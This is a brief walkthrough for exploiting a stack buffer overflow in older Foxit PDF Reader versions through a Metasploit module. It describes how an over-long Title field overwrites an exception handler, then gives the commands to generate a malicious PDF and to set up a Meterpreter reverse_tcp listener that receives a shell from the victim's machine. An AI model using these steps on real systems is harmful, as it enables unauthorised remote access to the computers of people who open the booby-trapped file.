This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use JavaScript.

Msf exploit (foxit_title_bof)>exploit
After we successfully generate the malicious PDF, it will stored on your local computer
/root/.msf4/local/corelan_foxit.pdf
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.2
exploit
